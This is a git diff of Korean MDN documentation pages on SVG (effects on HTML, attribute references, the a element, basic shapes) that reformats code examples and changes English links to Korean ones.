@@ -90,4 +91,4 @@ TLS 1.3에서 재협상을 제거함으로써, 증명서(certificate)를 이용
 - The Mozilla Operations Security (OpSec) team maintains a wiki page with [reference TLS configurations](https://wiki.mozilla.org/Security/Server_Side_TLS).
 - [Mozilla Observatory](https://observatory.mozilla.org/), [SSL Labs](https://www.ssllabs.com/ssltest/), and [Cipherscan](https://github.com/mozilla/cipherscan) can help you test a site to see how secure its TLS configuration is.
 
-{{QuickLinksWithSubpages("/en-US/docs/Web/Security")}}
+{{QuickLinksWithSubpages("/ko/docs/Web/Security")}}
diff --git a/files/ko/web/svg/applying_svg_effects_to_html_content/index.md b/files/ko/web/svg/applying_svg_effects_to_html_content/index.md
index 92fbd7e767cec0..90c7259b33dc1c 100644
--- a/files/ko/web/svg/applying_svg_effects_to_html_content/index.md
+++ b/files/ko/web/svg/applying_svg_effects_to_html_content/index.md
@@ -14,7 +14,11 @@ slug: Web/SVG/Applying_SVG_effects_to_HTML_content
 CSS 스타일을 이용해 SVG 효과를 적용하기 위해서, 먼저 적용할 SVG를 참조하는 CSS 스타일을 작성해야 합니다.
 
 ```html
-<style>p { mask: url(#my-mask); }</style>
+<style>
+  p {
+    mask: url(#my-mask);
+  }
+</style>
 ```
 
 위의 예제에서, 모든 문단은 [ID](/ko/docs/Web/HTML/Global_attributes/id)가 `my-mask`인 [SVG `<mask>`](/ko/docs/Web/SVG/Element/mask)에 의해 마스크 처리됩니다.
@@ -27,11 +31,11 @@ CSS 스타일을 이용해 SVG 효과를 적용하기 위해서, 먼저 적용
 <svg height="0">
   <mask id="mask-1">
     <linearGradient id="gradient-1" y2="1">
-      <stop stop-color="white" offset="0"/>
-      <stop stop-opacity="0" offset="1"/>
+      <stop stop-color="white" offset="0" />
+      <stop stop-opacity="0" offset="1" />
     </linearGradient>
-    <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white"/>
-    <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)"/>
+    <circle cx="0.25" cy="0.25" r="0.25" id="circle" fill="white" />
+    <rect x="0.5" y="0.2" width="300" height="100" fill="url(#gradient-1)" />
   </mask>
 </svg>
 ```
@@ -53,14 +57,15 @@ Applying the SVG effect to (X)HTML is accomplished by assigning the `target` cla
 
 ```html
 <p class="target" style="background:lime;">
-    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
+  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.
 </p>
 <p>
-    Lorem ipsum dolor sit amet, consectetur adipisicing
-    <b class="target">elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua.</b>
-    Ut enim ad minim veniam.
+  Lorem ipsum dolor sit amet, consectetur adipisicing
+  <b class="target"
+    >elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b
+  >
+  Ut enim ad minim veniam.
 </p>
 ```
 
@@ -74,22 +79,23 @@ This example demonstrates using SVG to clip HTML content. Notice that even the c
 
 ```html
 <p class="target" style="background:lime;">
-    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
+  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.
 </p>
 <p>
-    Lorem ipsum dolor sit amet, consectetur adipisicing
-    <b class="target">elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua.</b>
-    Ut enim ad minim veniam.
+  Lorem ipsum dolor sit amet, consectetur adipisicing
+  <b class="target"
+    >elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b
+  >
+  Ut enim ad minim veniam.
 </p>
 
 <button onclick="toggleRadius()">Toggle radius</button>
 
 <svg height="0">
   <clipPath id="clipping-path-1" clipPathUnits="objectBoundingBox">
-    <circle cx="0.25" cy="0.25" r="0.25" id="circle"/>
-    <rect x="0.5" y="0.2" width="0.5" height="0.8"/>
+    <circle cx="0.25" cy="0.25" r="0.25" id="circle" />
+    <rect x="0.5" y="0.2" width="0.5" height="0.8" />
   </clipPath>
 </svg>
 ```
@@ -112,7 +118,7 @@ You can make changes to the SVG in real time and see them immediately affect the
 ```js
 function toggleRadius() {
   var circle = document.getElementById("circle");
-  circle.r.baseVal.value = 0.40 - circle.r.baseVal.value;
+  circle.r.baseVal.value = 0.4 - circle.r.baseVal.value;
 }
 ```
 
@@ -124,15 +130,16 @@ This demonstrates applying a filter to HTML content using SVG. It establishes se
 
 ```html
 <p class="target" style="background: lime;">
-    Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua. Ut enim ad minim veniam.
+  Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod
+  tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam.
 </p>
 <pre class="target">lorem</pre>
 <p>
-    Lorem ipsum dolor sit amet, consectetur adipisicing
-    <b class="target">elit, sed do eiusmod tempor incididunt
-    ut labore et dolore magna aliqua.</b>
-    Ut enim ad minim veniam.
+  Lorem ipsum dolor sit amet, consectetur adipisicing
+  <b class="target"
+    >elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua.</b
+  >
+  Ut enim ad minim veniam.
 </p>
 ```
 
@@ -141,7 +148,7 @@ Any SVG filter can be applied this way. For example, to apply a blur effect, you
 ```html
 <svg height="0">
   <filter id="f1">
-    <feGaussianBlur stdDeviation="3"/>
+    <feGaussianBlur stdDeviation="3" />
   </filter>
 </svg>
 ```
@@ -151,10 +158,11 @@ You could also apply a color matrix:
 ```html
 <svg height="0">
   <filter id="f2">
-    <feColorMatrix values="0.3333 0.3333 0.3333 0 0
-                           0.3333 0.3333 0.3333 0 0
-                           0.3333 0.3333 0.3333 0 0
-                           0      0      0      1 0"/>
+    <feColorMatrix
+      values="0.3333 0.3333 0.3333 0 0
+              0.3333 0.3333 0.3333 0 0
+              0.3333 0.3333 0.3333 0 0
+              0      0      0      1 0" />
   </filter>
 </svg>
 ```
@@ -164,20 +172,29 @@ And some more filters:
 ```html
 <svg height="0">
   <filter id="f3">
-    <feConvolveMatrix filterRes="100 100" style="color-interpolation-filters:sRGB"
-      order="3" kernelMatrix="0 -1 0   -1 4 -1   0 -1 0" preserveAlpha="true"/>
+    <feConvolveMatrix
+      filterRes="100 100"
+      style="color-interpolation-filters:sRGB"
+      order="3"
+      kernelMatrix="0 -1 0   -1 4 -1   0 -1 0"
+      preserveAlpha="true" />
   </filter>
   <filter id="f4">
-    <feSpecularLighting surfaceScale="5" specularConstant="1"
-                        specularExponent="10" lighting-color="white">
-      <fePointLight x="-5000" y="-10000" z="20000"/>
+    <feSpecularLighting
+      surfaceScale="5"
+      specularConstant="1"
+      specularExponent="10"
+      lighting-color="white">
+      <fePointLight x="-5000" y="-10000" z="20000" />
     </feSpecularLighting>
   </filter>
   <filter id="f5">
-    <feColorMatrix values="1 0 0 0 0
-                           0 1 0 0 0
-                           0 0 1 0 0
-                           0 1 0 0 0" style="color-interpolation-filters:sRGB"/>
+    <feColorMatrix
+      values="1 0 0 0 0
+              0 1 0 0 0
+              0 0 1 0 0
+              0 1 0 0 0"
+      style="color-interpolation-filters:sRGB" />
   </filter>
 </svg>
 ```
@@ -185,12 +202,24 @@ And some more filters:
 The five filters are applied using the following CSS:
 
 ```css
-p.target { filter:url(#f3); }
-p.target:hover { filter:url(#f5); }
-b.target { filter:url(#f1); }
-b.target:hover { filter:url(#f4); }
-pre.target { filter:url(#f2); }
-pre.target:hover { filter:url(#f3); }
+p.target {
+  filter: url(#f3);
+}
+p.target:hover {
+  filter: url(#f5);
+}
+b.target {
+  filter: url(#f1);
+}
+b.target:hover {
+  filter: url(#f4);
+}
+pre.target {
+  filter: url(#f2);
+}
+pre.target:hover {
+  filter: url(#f3);
+}
 ```
 
 {{EmbedLiveSample('Example_Filtering', 650, 200)}}
@@ -206,7 +235,7 @@ In order to blur text, Webkit based browsers have a (prefixed) CSS filter called
 <svg height="0">
   <defs>
     <filter id="wherearemyglasses" x="0" y="0">
-    <feGaussianBlur in="SourceGraphic" stdDeviation="1"/>
+      <feGaussianBlur in="SourceGraphic" stdDeviation="1" />
     </filter>
   </defs>
 </svg>
@@ -215,7 +244,9 @@ In order to blur text, Webkit based browsers have a (prefixed) CSS filter called
 You can apply the SVG and the CSS filter in the same class:
 
 ```css
-.blur { filter: url(#wherearemyglasses); }
+.blur {
+  filter: url(#wherearemyglasses);
+}
 ```
 
 {{ EmbedLiveSample('Example_Blurred_Text', 300, 100) }}
@@ -229,7 +260,9 @@ SVG used for clipping, masking, and filtering can be loaded from an external sou
 For example, if your CSS is in a file named `default.css`, it can look like this:
 
 ```css
-.target { clip-path: url(resources.svg#c1); }
+.target {
+  clip-path: url(resources.svg#c1);
+}
 ```
 
 The SVG is then imported from a file named `resources.svg`, using the clip path with the ID `c1`.
diff --git a/files/ko/web/svg/attribute/cx/index.md b/files/ko/web/svg/attribute/cx/index.md
index c19dfaf10915cd..dde01fccc3c67e 100644
--- a/files/ko/web/svg/attribute/cx/index.md
+++ b/files/ko/web/svg/attribute/cx/index.md
@@ -16,17 +16,21 @@ slug: Web/SVG/Attribute/cx
 ## Example
 
 ```css hidden
-html,body,svg { height:100% }
+html,
+body,
+svg {
+  height: 100%;
+}
 ```
 
 ```html
 <svg viewBox="0 0 300 100" xmlns="http://www.w3.org/2000/svg">
   <radialGradient cx="25%" id="myGradient">
-    <stop offset="0"    stop-color="white" />
+    <stop offset="0" stop-color="white" />
     <stop offset="100%" stop-color="black" />
   </radialGradient>
 
-  <circle cx="50" cy="50" r="45"/>
+  <circle cx="50" cy="50" r="45" />
   <ellipse cx="150" cy="50" rx="45" ry="25" />
   <rect x="205" y="5" width="90" height="90" fill="url(#myGradient)" />
 </svg>
@@ -55,7 +59,7 @@ html,body,svg { height:100% }
   </tbody>
 </table>
 
-> **Note:** SVG2 `cx`로 시작하는 것은 *기하학적 속성* 입니다. 즉, 이 속성은 circle의 CSS 속성으로도 사용할 수 있습니다.
+> **Note:** SVG2 `cx`로 시작하는 것은 _기하학적 속성_ 입니다. 즉, 이 속성은 circle의 CSS 속성으로도 사용할 수 있습니다.
 
 ## ellipse
 
@@ -78,7 +82,7 @@ html,body,svg { height:100% }
   </tbody>
 </table>
 
-> **Note:** SVG2 `cx`로 시작하는 것은 *기하학적 속성* 입니다. 이는 이 속성이 ellipse의 CSS 속성으로도 사용될 수 있음을 의미합니다.
+> **Note:** SVG2 `cx`로 시작하는 것은 _기하학적 속성_ 입니다. 이는 이 속성이 ellipse의 CSS 속성으로도 사용될 수 있음을 의미합니다.
 
 ## radialGradient
 
@@ -104,34 +108,56 @@ html,body,svg { height:100% }
 #### 예제
 
 ```css hidden
-html,body,svg { height:100% }
+html,
+body,
+svg {
+  height: 100%;
+}
 ```
 
 ```html
 <svg viewBox="0 0 34 10" xmlns="http://www.w3.org/2000/svg">
   <defs>
     <radialGradient cx="0" id="myGradient000">
-      <stop offset="0%"   stop-color="gold" />
-      <stop offset="50%"  stop-color="green" />
+      <stop offset="0%" stop-color="gold" />
+      <stop offset="50%" stop-color="green" />
       <stop offset="100%" stop-color="white" />
     </radialGradient>
 
     <radialGradient cx="50%" id="myGradient050">
-      <stop offset="0%"   stop-color="gold" />
-      <stop offset="50%"  stop-color="green" />
+      <stop offset="0%" stop-color="gold" />
+      <stop offset="50%" stop-color="green" />
       <stop offset="100%" stop-color="white" />
     </radialGradient>
 
     <radialGradient cx="100%" id="myGradient100">
-      <stop offset="0%"   stop-color="gold" />
-      <stop offset="50%"  stop-color="green" />
+      <stop offset="0%" stop-color="gold" />
+      <stop offset="50%" stop-color="green" />
       <stop offset="100%" stop-color="white" />
     </radialGradient>
   </defs>
 
-  <rect x="1"  y="1" width="8" height="8" fill="url(#myGradient000)" stroke="black" />
-  <rect x="13" y="1" width="8" height="8" fill="url(#myGradient050)" stroke="black" />
-  <rect x="25" y="1" width="8" height="8" fill="url(#myGradient100)" stroke="black" />
+  <rect
+    x="1"
+    y="1"
+    width="8"
+    height="8"
+    fill="url(#myGradient000)"
+    stroke="black" />
+  <rect
+    x="13"
+    y="1"
+    width="8"
+    height="8"
+    fill="url(#myGradient050)"
+    stroke="black" />
+  <rect
+    x="25"
+    y="1"
+    width="8"
+    height="8"
+    fill="url(#myGradient100)"
+    stroke="black" />
 </svg>
 ```
 
diff --git a/files/ko/web/svg/attribute/d/index.md b/files/ko/web/svg/attribute/d/index.md
index 75f17cd9a52283..4b93ff7d2b5fe7 100644
--- a/files/ko/web/svg/attribute/d/index.md
+++ b/files/ko/web/svg/attribute/d/index.md
@@ -346,13 +346,13 @@ Below is a list of all of the attributes available in SVG along with links to re
 
 - Core attributes
 
-  - : [Core attributes](/en-US/docs/Web/SVG/Attribute/Core)
+  - : [Core attributes](/ko/docs/Web/SVG/Attribute/Core)
 
     {{SVGAttr("id")}}, {{SVGAttr("lang")}}, {{SVGAttr("tabindex")}}, {{SVGAttr("xml:base")}}, {{SVGAttr("xml:lang")}}, {{SVGAttr("xml:space")}}
 
 - Style attributes
 
-  - : [Style attributes](/en-US/docs/Web/SVG/Attribute/Styling)
+  - : [Style attributes](/ko/docs/Web/SVG/Attribute/Styling)
 
     {{SVGAttr("class")}}, {{SVGAttr("style")}}
 
@@ -365,7 +365,7 @@ Below is a list of all of the attributes available in SVG along with links to re
 
 ### Presentation attributes
 
-> **Note:** All [SVG presentation attributes](/en-US/docs/Web/SVG/Attribute/Presentation) can be used as CSS properties.
+> **Note:** All [SVG presentation attributes](/ko/docs/Web/SVG/Attribute/Presentation) can be used as CSS properties.
 
 - {{SVGAttr("alignment-baseline")}}
 - {{SVGAttr("baseline-shift")}}
@@ -454,30 +454,30 @@ Below is a list of all of the attributes available in SVG along with links to re
 
 - Animation event attributes
 
-  - : [Animation event attributes](/en-US/docs/Web/SVG/Attribute/Events#animation_event_attributes)
+  - : [Animation event attributes](/ko/docs/Web/SVG/Attribute/Events#animation_event_attributes)
 
     **`onbegin`**, **`onend`**, **`onrepeat`**
 
 - Document event attributes
 
-  - : [Document event attributes](/en-US/docs/Web/SVG/Attribute/Events#document_event_attributes)
+  - : [Document event attributes](/ko/docs/Web/SVG/Attribute/Events#document_event_attributes)
 
     **`onabort`**, **`onerror`**, **`onresize`**, **`onscroll`**, **`onunload`**
 
 - Global event attributes
 
-  - : [Global event attributes](/en-US/docs/Web/SVG/Attribute/Events#global_event_attributes)
+  - : [Global event attributes](/ko/docs/Web/SVG/Attribute/Events#global_event_attributes)
 
     **`oncancel`**, **`oncanplay`**, **`oncanplaythrough`**, **`onchange`**, **`onclick`**, **`onclose`**, **`oncuechange`**, **`ondblclick`**, **`ondrag`**, **`ondragend`**, **`ondragenter`**, **`ondragleave`**, **`ondragover`**, **`ondragstart`**, **`ondrop`**, **`ondurationchange`**, **`onemptied`**, **`onended`**, **`onerror`**, **`onfocus`**, **`oninput`**, **`oninvalid`**, **`onkeydown`**, **`onkeypress`**, **`onkeyup`**, **`onload`**, **`onloadeddata`**, **`onloadedmetadata`**, **`onloadstart`**, **`onmousedown`**, **`onmouseenter`**, **`onmouseleave`**, **`onmousemove`**, **`onmouseout`**, **`onmouseover`**, **`onmouseup`**, **`onmousewheel`**, **`onpause`**, **`onplay`**, **`onplaying`**, **`onprogress`**, **`onratechange`**, **`onreset`**, **`onresize`**, **`onscroll`**, **`onseeked`**, **`onseeking`**, **`onselect`**, **`onshow`**, **`onstalled`**, **`onsubmit`**, **`onsuspend`**, **`ontimeupdate`**, **`ontoggle`**, **`onvolumechange`**, **`onwaiting`**
 
 - Graphical event attributes
 
-  - : [Graphical event attributes](/en-US/docs/Web/SVG/Attribute/Events#graphical_event_attributes)
+  - : [Graphical event attributes](/ko/docs/Web/SVG/Attribute/Events#graphical_event_attributes)
 
     **`onactivate`**, **`onfocusin`**, **`onfocusout`**
 
 ## 같이 보기
 
-- [SVG element reference](/en-US/docs/Web/SVG/Element)
-- [SVG Tutorial](/en-US/docs/Web/SVG/Tutorial)
-- [SVG interface reference](/en-US/docs/Web/API/Document_Object_Model#svg_interfaces)
+- [SVG element reference](/ko/docs/Web/SVG/Element)
+- [SVG Tutorial](/ko/docs/Web/SVG/Tutorial)
+- [SVG interface reference](/ko/docs/Web/API/Document_Object_Model#svg_interfaces)
diff --git a/files/ko/web/svg/attribute/keytimes/index.md b/files/ko/web/svg/attribute/keytimes/index.md
index b40b401f4688c1..6b64b01fbcfaf4 100644
--- a/files/ko/web/svg/attribute/keytimes/index.md
+++ b/files/ko/web/svg/attribute/keytimes/index.md
@@ -2,6 +2,7 @@
 title: keyTimes
 slug: Web/SVG/Attribute/keyTimes
 ---
+
 « [SVG Attribute reference home](/ko/docs/Web/SVG/Attribute)
 
 `keyTimes` 속성은 애니메이션의 pacing을 제어하는 데 사용되는 세미콜론으로 구분 된 시간 값 목록입니다. 목록의 각 시간은 {{ SVGAttr("values") }} 속성 목록의 값에 해당하며 애니메이션에서 값이 사용되는 시기를 정의합니다. `keyTimes` 목록의 각 시간 값은 0과 1 사이의 부동 소수점 값으로 지정되며 애니메이션 요소의 지속 시간에 대한 비례 오프셋을 나타냅니다.
@@ -23,7 +24,7 @@ If the duration is indefinite, any `keyTimes` specification will be ignored.
 
 | Categories         | Animation value attribute                                                        |
 | ------------------ | -------------------------------------------------------------------------------- |
-| Value              | \<list>                                                                           |
+| Value              | \<list\>                                                                         |
 | Animatable         | No                                                                               |
 | Normative document | [SVG 1.1 (2nd Edition)](http://www.w3.org/TR/SVG/animate.html#KeyTimesAttribute) |
 
@@ -31,27 +32,29 @@ If the duration is indefinite, any `keyTimes` specification will be ignored.
 
 ```html
 <?xml version="1.0"?>
-<svg width="120" height="120"
-     viewPort="0 0 120 120" version="1.1"
-     xmlns="http://www.w3.org/2000/svg">
-
-    <circle cx="60" cy="10" r="10">
-
-        <animate attributeName="cx"
-                 attributeType="XML"
-                 dur="4s"
-                 values="60 ; 110 ; 60 ; 10 ; 60"
-                 keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
-                 repeatCount="indefinite"/>
-
-        <animate attributeName="cy"
-                 attributeType="XML"
-                 dur="4s"
-                 values="10 ; 60 ; 110 ; 60 ; 10 "
-                 keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
-                 repeatCount="indefinite"/>
-
-    </circle>
+<svg
+  width="120"
+  height="120"
+  viewPort="0 0 120 120"
+  version="1.1"
+  xmlns="http://www.w3.org/2000/svg">
+  <circle cx="60" cy="10" r="10">
+    <animate
+      attributeName="cx"
+      attributeType="XML"
+      dur="4s"
+      values="60 ; 110 ; 60 ; 10 ; 60"
+      keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+      repeatCount="indefinite" />
+
+    <animate
+      attributeName="cy"
+      attributeType="XML"
+      dur="4s"
+      values="10 ; 60 ; 110 ; 60 ; 10 "
+      keyTimes="0 ; 0.25 ; 0.5 ; 0.75 ; 1"
+      repeatCount="indefinite" />
+  </circle>
 </svg>
 ```
 
diff --git a/files/ko/web/svg/attribute/values/index.md b/files/ko/web/svg/attribute/values/index.md
index e1f347ce3696c5..b2270f89952a93 100644
--- a/files/ko/web/svg/attribute/values/index.md
+++ b/files/ko/web/svg/attribute/values/index.md
@@ -2,6 +2,7 @@
 title: values
 slug: Web/SVG/Attribute/values
 ---
+
 « [SVG Attribute reference home](/en/SVG/Attribute)
 
 `values` 속성은 사용하는 맥락에 따라 크게 두 가지 의미가 있습니다.
@@ -27,7 +28,7 @@ If the attribute is not specified, then the default behavior depends on the valu
 
 | Categories         | Animation value attribute                                                        |
 | ------------------ | -------------------------------------------------------------------------------- |
-| Value              | \<list>                                                                           |
+| Value              | \<list>                                                                          |
 | Animatable         | No                                                                               |
 | Normative document | [SVG 1.1 (2nd Edition)](http://www.w3.org/TR/SVG11/animate.html#ValuesAttribute) |
 
@@ -35,7 +36,7 @@ If the attribute is not specified, then the default behavior depends on the valu
 
 | Categories         | _None_                                                                                        |
 | ------------------ | --------------------------------------------------------------------------------------------- |
-| Value              | \<list> \| [\<number>](/en/SVG/Content_type#Number)                 |
+| Value              | \<list> \| [\<number>](/en/SVG/Content_type#Number)                                           |
 | Animatable         | Yes                                                                                           |
 | Normative document | [SVG 1.1 (2nd Edition)](http://www.w3.org/TR/SVG11/filters.html#feColorMatrixValuesAttribute) |
 
diff --git a/files/ko/web/svg/attribute/version/index.md b/files/ko/web/svg/attribute/version/index.md
index 63e8cd86922572..e72e92b4dfaf7c 100644
--- a/files/ko/web/svg/attribute/version/index.md
+++ b/files/ko/web/svg/attribute/version/index.md
@@ -2,6 +2,7 @@
 title: version
 slug: Web/SVG/Attribute/version
 ---
+
 **`version`** 속성은 해당 SVG 문서가 어떤 명세를 따르고 있는지 표시하기 위해 사용됩니다. 이는 오직 [\<svg>](/ko/docs/Web/SVG/Element/svg) 요소 내에서만 사용되며 순전히 사용되는 버전의 알림을 위한 용도로 프로세싱이나 렌더링에는 영향을 미치지 않습니다.
 
 버전을 명시하기 위해 어떤 숫자든지 입력할 수 있지만, 현재로써 유효하게 사용되는 버전은 1.0과 1.1 두 버전만이 유일합니다.
@@ -10,6 +11,6 @@ slug: Web/SVG/Attribute/version
 
 | Categories         | None                                                                                                          |
 | ------------------ | ------------------------------------------------------------------------------------------------------------- |
-| Value              | [\<number>](/en/SVG/Content_type#Number)            |
+| Value              | [\<number>](/en/SVG/Content_type#Number)                                                                      |
 | Animatable         | No                                                                                                            |
 | Normative document | [SVG 1.1 (2nd Edition): version attribute](http://www.w3.org/TR/SVG11/struct.html#SVGElementVersionAttribute) |
diff --git a/files/ko/web/svg/attribute/viewbox/index.md b/files/ko/web/svg/attribute/viewbox/index.md
index 0c681ec3158c26..ddbd9ac24c060d 100644
--- a/files/ko/web/svg/attribute/viewbox/index.md
+++ b/files/ko/web/svg/attribute/viewbox/index.md
@@ -2,6 +2,7 @@
 title: viewBox
 slug: Web/SVG/Attribute/viewBox
 ---
+
 « [SVG Attribute reference home](/en/SVG/Attribute)
 
 `viewBox` 속성은 특수한 container element 에 fit 하기 위한 주어진 graphics stretch 의 set 을 명시한다.
diff --git a/files/ko/web/svg/element/a/index.md b/files/ko/web/svg/element/a/index.md
index daf6f90bebeac6..985675b4da56a4 100644
--- a/files/ko/web/svg/element/a/index.md
+++ b/files/ko/web/svg/element/a/index.md
@@ -72,13 +72,13 @@ svg|a:active {
     값 유형: **\<string>** ; 기본 값: 없음; 애니메이션 가능: **아니요**
 - {{SVGAttr("href")}}
   - : 하이퍼링크가 가리키는 URL 또는 URL 조각입니다.
-    값 유형: **[\<URL>](/en-US/docs/Web/SVG/Content_type#url)** ; 기본값: 없음; 애니메이션 가능: **예**
+    값 유형: **[\<URL>](/ko/docs/Web/SVG/Content_type#url)** ; 기본값: 없음; 애니메이션 가능: **예**
 - {{htmlattrxref("hreflang", "a")}}
   - : 하이퍼링크가 가리키는 URL 또는 URL 조각의 사람 언어입니다.
     값 유형: **\<string>** ; 기본값: 없음; 애니메이션 가능: **예**
 - {{htmlattrxref("ping", "a")}} {{experimental_inline}}
   - : 공백으로 구분된 URL 목록으로, 하이퍼링크를 따라갈 때 `PING` 본문이 포함된 {{HTTPMethod("POST")}} 요청이 브라우저에서 전송됩니다(백그라운드에서). 일반적으로 추적에 사용됩니다. 동일한 사용 사례를 다루는 보다 광범위하게 지원되는 기능은 {{domxref("Navigator.sendBeacon()")}}을 참조하십시오.
-    값 유형: **[\<list-of-URLs>](/en-US/docs/Web/SVG/Content_type#list-of-ts)** ; 기본값: 없음; 애니메이션 가능: **아니요**
+    값 유형: **[\<list-of-URLs>](/ko/docs/Web/SVG/Content_type#list-of-ts)** ; 기본값: 없음; 애니메이션 가능: **아니요**
 - {{htmlattrxref("referrerpolicy", "a")}}
   - : {{Glossary("URL")}}을 가져올 때 보내는 [리퍼러](/ko/docs/Web/HTTP/Headers/Referer)입니다.
     값 유형: `no-referrer`|`no-referrer-when-downgrade`|`same-origin`|`origin`|`strict-origin`|`origin-when-cross-origin`|`strict-origin-when-cross-origin`|`unsafe-url` ; 기본 값: 없음; 애니메이션 가능: **아니요**
@@ -93,7 +93,7 @@ svg|a:active {
     값 유형: **\<string>** ; 기본 값: 없음; 에니메이션 가능: **예**
 - {{SVGAttr("xlink:href")}} {{deprecated_inline}}
   - : 하이퍼링크가 가리키는 URL 또는 URL 조각입니다. 이전 브라우저의 이전 버전과의 호환성을 위해 필요할 수 있습니다.
-  값 유형: **[\<URL>](/ko/docs/Web/SVG/Content_type#url)** ; 기본값: 없음; 애니메이션 가능: **예**
+    값 유형: **[\<URL>](/ko/docs/Web/SVG/Content_type#url)** ; 기본값: 없음; 애니메이션 가능: **예**
 
 ### 전역 속성
 
diff --git a/files/ko/web/svg/index.md b/files/ko/web/svg/index.md
index fd9092e08782ff..92c9e771db7786 100644
--- a/files/ko/web/svg/index.md
+++ b/files/ko/web/svg/index.md
@@ -1,7 +1,8 @@
 ---
-title: 'SVG: Scalable Vector Graphics'
+title: "SVG: Scalable Vector Graphics"
 slug: Web/SVG
 ---
+
 {{SVGRef}}
 
 ## SVG 시작하기
diff --git a/files/ko/web/svg/tutorial/basic_shapes/index.md b/files/ko/web/svg/tutorial/basic_shapes/index.md
index 71b042a39871ca..8a76e3aec4b735 100644
--- a/files/ko/web/svg/tutorial/basic_shapes/index.md
+++ b/files/ko/web/svg/tutorial/basic_shapes/index.md
@@ -2,6 +2,7 @@
 title: 기본 도형
 slug: Web/SVG/Tutorial/Basic_Shapes
 ---
+
 {{ PreviousNext("Web/SVG/Tutorial/Positions", "Web/SVG/Tutorial/Paths") }}
 
 SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적은 이름에서 명백하게 알 수 있다. 도형들의 위치와 크기를 지정하는 몇몇 속성들은 주어지지만, 여기에서 다뤄지지 않는 다른 속성들과 함께 더 정확하고 완전한 설명이 있는 레퍼런스를 첨부해 두겠다. 그러나, 대부분의 SVG 문서에서 사용되기 때문에 몇 가지 소개를 해줘야한다.
@@ -62,7 +63,7 @@ SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적
 당신이 추측한 것 처럼, [circle](/en-US/Web/SVG/Element/circle) 요소는 화면에 원을 그린다. circle 요소에 실제로 적용할 수 있는 속성은 세 가지 뿐이다.
 
 ```html
-<circle cx="25" cy="75" r="20"/>
+<circle cx="25" cy="75" r="20" />
 ```
 
 - `r`
@@ -77,7 +78,7 @@ SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적
 [Ellipse](/en-US/Web/SVG/Element/ellipse)는 원의 x와 y 반경 (수학자들은 장반경, 단반경 이라고 함)을 개별적으로 확장 할 수 있는 circle 요소의 좀 더 일반적인 형태이다.
 
 ```html
-<ellipse cx="75" cy="75" rx="20" ry="5"/>
+<ellipse cx="75" cy="75" rx="20" ry="5" />
 ```
 
 - `rx`
@@ -94,7 +95,7 @@ SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적
 [Line](/en-US/Web/SVG/Element/line)s은 단지 직선이다. line 요소는 선의 시작과 끝 지점을 지정하는 두 점을 속성으로 갖는다.
 
 ```html
-<line x1="10" x2="50" y1="110" y2="150"/>
+<line x1="10" x2="50" y1="110" y2="150" />
 ```
 
 - `x1`
@@ -111,7 +112,8 @@ SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적
 [Polyline](/en-US/Web/SVG/Element/polyline)s은 연결된 직선들의 그룹이다. 그 목록(직선들)은 꽤 길어질 수 있기 때문에 모든 포인트가 하나의 속성에 포함된다.
 
 ```html
-<polyline points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145"/>
+<polyline
+  points="60 110, 65 120, 70 115, 75 130, 80 125, 85 140, 90 135, 95 150, 100 145" />
 ```
 
 - points
@@ -122,7 +124,8 @@ SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적
 [Polygon](/en-US/Web/SVG/Element/polygon)s은 점을 연결하는 직선으로 구성된다는 점에서 polyline과 매우 유사하다. 하지만 다각형의 경우, 자동으로 마지막 포인트로부터 첫 번째 포인트로 직선을 만들어서 닫힌 모양을 만든다. 사각형은 다각형의 하나이므로, 융통성있는 사각형을 필요로 하는 경우 polygon 요소를 사용해서 rect 요소를 만들 수 있다.
 
 ```html
-<polygon points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180"/>
+<polygon
+  points="50 160, 55 180, 70 180, 60 190, 65 205, 50 195, 35 205, 40 190, 30 180, 45 180" />
 ```
 
 - points
@@ -133,7 +136,7 @@ SVG 드로잉에는 몇 가지 기본 도형들이 있다. 도형들의 목적
 [패스](/ko/Web/SVG/Element/path)는 아마 SVG에서 사용할 수 있는 가장 일반적인 형태일 것이다. path 요소를 사용해서 당신은 사각형(둥근 모서리가 있거나 없는), 원, 타원, 폴리라인 및 다각형을 그릴 수 있다. 기본적으로 다른 모든 종류의 모양, 베지에 곡선, 2차원 곡선 등이 가능하다. 그러한 이유로, paths 는 튜토리얼의 [the next section](/en-US/Web/SVG/Tutorial/Paths) 에 들어가지만, 지금은 모양을 제어하는 데 사용되는 단일 속성이 있음을 알려주겠다.
 
 ```html
-<path d="M 20 230 Q 40 205, 50 230 T 90230"/>
+<path d="M 20 230 Q 40 205, 50 230 T 90230" />
 ```
 
 - `d`
diff --git a/files/ko/web/svg/tutorial/getting_started/index.md b/files/ko/web/svg/tutorial/getting_started/index.md
